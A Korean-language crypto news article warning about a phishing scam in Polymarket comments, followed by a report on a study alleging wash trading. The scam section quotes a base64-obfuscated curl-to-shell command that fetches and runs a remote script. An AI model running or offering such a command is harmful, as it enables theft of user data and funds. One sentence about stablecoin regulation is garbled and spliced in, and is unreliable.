Polymarket 프라이빗 마켓의 피싱 링크: 사용자들 경계

Polymarket이 다시 헤드라인에 올랐습니다. 이번에는 '25usdc'라는 별명을 가진 수석 트레이더가 플랫폼의 댓글 섹션을 이용해 무고한 사용자를 노리는 사기 schemes에 대해 경고를 울렸기 때문입니다. 

이러한 일이 발생하는 것은 Polymarket 플랫폼에게 중요한 시기로, 미국 시장 재진입을 준비하고 있으며 Kalshi와 같은 경쟁사들을 앞서 나가기 위해 고군분투하고 있습니다. 

Polymarket 트레이더들, 높은 경계 

25usdc에 따르면, 해커들은 Polymarket 댓글 섹션을 사용하여 사기를 저지르고 있으며, 지금까지 사용자들은 50만 달러 이상을 잃었습니다.

“그들이 말하길, ‘왜 Polymarket 프라이빗 마켓에서 거래하지 않느냐? 거기의 승률이 훨씬 더 좋다!’”라고 25usdc는 작성했으며, 전체 사기가 어떻게 작동하는지 설명했습니다. 

그에 따르면, 모든 것은 두 개의 별도 계정에서 하나의 시장에 대해 Yes와 No 주식을 모두 구매하는 것으로 시작됩니다. 이렇게 하면 'Holders' 필터가 활성화되어 있더라도 그들의 댓글이 그대로 유지됩니다. 그 후, 그들은 URL을 난독화된 형태로 자신의 사이트에 게시합니다.

이 URL은 무고한 사용자를 Polymarket 로고가 있는 깔끔한 페이지로 안내하며, 이메일을 통한 로그인을 요청합니다. 이메일이 확인되면 CloudFlare를 모방하여 사용자의 활동을 확인하라는 새 창이 팝업됩니다. 

그러나 25usdc에 따르면, 'Copy'를 클릭하면 “curl -kfsSL $(echo ‘ENCODED_STRING==’|base64 -d)|zsh”와 같은 명령이 복사되며, 사용자가 실수로 터미널에 붙여넣는 경우 첫 번째 작업은 base64로 인코딩된 문자열(서버 URL)을 디코딩한 후 해당 서버에서 스크립트를 가져와 즉시 실행하는 것입니다. 

문제의 스크립트는 어떤 것이든 포함할 수 있으며, 보고된 바에 따르면 팝업 경고가 없을 것이며, 이때 이미 피해가 발생했고 25usdc에 따르면 유일한 해결책은 Wi-Fi를 끄는 것일 수 있습니다. 

“결국 그들은 데이터를 수집하고 시스템의 모든 것을 로그한 다음 zip 파일로 서버에 보냅니다.”라고 25usdc는 작성했습니다. “그들은 이 데이터를 사용하여 귀하의 계정에 로그인하고 돈을 훔칩니다.”

그가 주목한 다른 사항들은 그룹이 얼마나 신중하게 운영되는지였습니다. 예를 들어, 그들은 지갑을 자주 전환하여 흔적을 감추고, 모든 단계에서 난독화를 수행하며, 활성 피해자가 없을 때는 페이로드를 보내고 로그된 데이터를 받는 서버를 종료합니다.

“이 문제를 해결하는 가장 좋은 방법은 신뢰할 수 있는 사용자가 댓글을 검토하거나, 많이 낮은 평가를 받은 게시물을 숨기는 낮은 평가 시스템을 도입하는 것이라고 생각합니다.”라고 25usdc는 결론지으며 간단한 사적 화폐 창출에 대해 Polymarket의 현재 표시는 충분하지 않을 것이라고 지적했습니다. 

PSA: “더 나은 승률”을 가진 Polymarket “프라이빗 마켓” 웹사이트는 없습니다.

공식 사이트 외의 다른 곳에서 Polymarket 이메일이나 로그인 확인 코드를 입력하지 마십시오.

— Polymarket Traders (@PolymarketTrade) 2025년 11월 9일

새로운 연구, Polymarket의 거래량이 위장 거래로 부양되었다고 주장

Cryptopolitan에 따르면 6월 DFS가 기존 안전 장치를 유지하면서 GENIUS ACT와 일치하는 새로운 스테이블코인 규제를 제안했다고 보도했습니다. 여기에는 완전한 준비금 backing과 독립적인 감사 포함됩니다., 최근 컬럼비아 대학교 연구자들이 발표한 연구에 따르면 Polymarket의 활동량은 위장 거래(wash trading)로 인해 크게 부풀려졌다고 주장합니다. 

저자들이 ‘인공 거래’라고 명명한 이 현상은 시간에 따라 다양했지만, 지난 3년 동안 Polymarket의 모든 매수와 매도의 평균 25%를 차지했다고 말합니다. 

이 논문은 동료 검토를 거치지 않았지만 이미 오픈 액세스 연구 플랫폼 SSRN에 게시되었으며 Polymarket에서 검토 중입니다. 

명확히 하자면, 저자들은 폴리마켓 자체를 위장 거래에 대해 직접적으로 비난하지는 않습니다. 그러나 그들은 거래소의 암호화폐 기반 구조가 이러한 주장을 가능하게 만드는 요소들을 강조했습니다.  

그들은 또한 회사의 고객들이 Shayne Coplan(회사의 창립자)이 최근 10월 8일 출시 가능성을 암시한 독점 디지털 토큰에 대한 접근 권한을 얻을 기회를 개선하기 위해said 위장 거래에 독립적으로 관여했을 수도 있다고 제안했습니다. 

“저는 Polymarket이 우리 논문의 분석을 환영하기를 바랍니다.”라고 컬럼비아 비즈니스 스쿨의 교수이자 논문 네 명의 공동 저자 중 한 명인 Yash Kanoria는 이메일에서 말했습니다. “위장 거래는 유동성이나 정보를 시장에 추가하지 않으므로, 진정한 거래량과 가짜 거래량을 구분하는 것이 가치 있어 보입니다.”

Polymarket의 거래량 중 일부가 진정으로 ‘허구적’이라면, 연구에 따르면 이는 업계에서 Polymarket의 상대적 강도에 대한 이해를 변경하고, 예측 시장이 더 큰 군중의 ‘지혜’를 반영한다는 현재의 개념을 약화시킬 수 있습니다.

“대규모 위장 거래의 가능성은 거래량이 진정한 플랫폼 활동의 지표로서 신뢰할 수 없음을 의미하며, 특히 적절한 안전 장치가 없는 암호화폐 기반 거래소에서 더욱 그렇습니다.”라고 저자들은 결론지었습니다.